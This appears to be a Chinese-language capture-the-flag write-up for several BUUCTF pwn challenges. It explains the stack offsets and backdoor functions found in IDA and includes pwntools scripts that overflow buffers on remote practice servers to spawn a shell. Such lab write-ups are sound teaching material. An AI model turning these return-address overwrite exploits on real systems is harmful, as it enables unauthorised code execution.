test_your_nc
附件用ida打开主函数就是执行system(“/bin/sh”)
nc一下
rip
ida64位打开附件
存在溢出,而且存在后门函数
s距离rbp有0xF的距离
64位是调用的寄存器
构造rop
也可以选择函数入口点,但是要+1,网上说是为了堆栈平衡。
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=process("./pwn2")
p=remote("node4.buuoj.cn",27350)
sys=0x000000000040118A
payload=b'a'*(0xF+8)+p64(sys)
p.sendline(payload)
p.interactive()
warmup_csaw_2016
ida64位打开
gets函数存在栈溢出
有后门函数
构造rop
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=process("./pwn3")
p=remote("node4.buuoj.cn",27350)
sys=(0x40060D+1) #+1是为了堆栈平衡
payload=b'a'*(0x40+8)+p64(sys)
p.sendline(payload)
p.interactive()
ciscn_2019_n_1
ida64位打开,主函数里有个func函数
gets函数栈溢出,通过分析就很清楚目的了
通过栈溢出覆盖v2的地址使其等于11.28125
v1距离rbp有0x30
v2距离rbp有0x4
计算出v1与v2差了44个字节的距离
但是不知道11.28125的16进制是多少
分析汇编代码
ucomiss搜了一下,是浮点数比较的指令
所以猜测dword_4007F4为11.28125
跟进发现是
所以这个应该就是11.28125的16进制
脚本如下:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=process("./pwn4")
p=remote("node4.buuoj.cn",28223)
payload=b'a'*44+p64(0x41348000)
p.sendline(payload)
p.interactive()